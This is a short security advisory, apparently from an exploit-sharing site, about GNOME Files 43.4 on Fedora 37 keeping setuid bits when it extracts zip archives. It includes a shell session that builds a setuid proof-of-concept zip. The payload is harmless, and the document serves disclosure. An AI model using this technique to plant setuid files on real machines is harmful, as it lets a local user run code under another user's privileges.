Kod:
Affected: GNOME Files 43.4 (nautilus) on fedora 37
Description:
If an user A opens in GNOME files zip archive containing
`setuid` file F, then F will be silently extracted to
a subdirectory of CWD.
If F is accessible by hostile local user B and B executes F,
then F will be executed as from user A.
tar(1) and unzip(1) are not vulnerable to this attack.
Session for creating the ZIP.
After that just open f.zip in GNOME files.
<pre>
[joro@fedora ~]$ umask
0022
[joro@fedora 2]$ mkdir /tmp/2 ; cd /tmp/2 ; echo hi > F ; chmod +xs F
[joro@fedora 2]$ zip f F ; zipinfo f
Archive: f.zip
Zip file size: 155 bytes, number of entries: 1
-rwsr-sr-x 3.0 unx 3 tx stor 23-Aug-05 12:38 F
[joro@fedora 2]$ ls -ld /tmp/2/
drwxr-xr-x. 2 joro joro 80 Aug 5 11:20 /tmp/2/
[joro@fedora 2]$
</pre>
# 0day.today [2023-08-12] #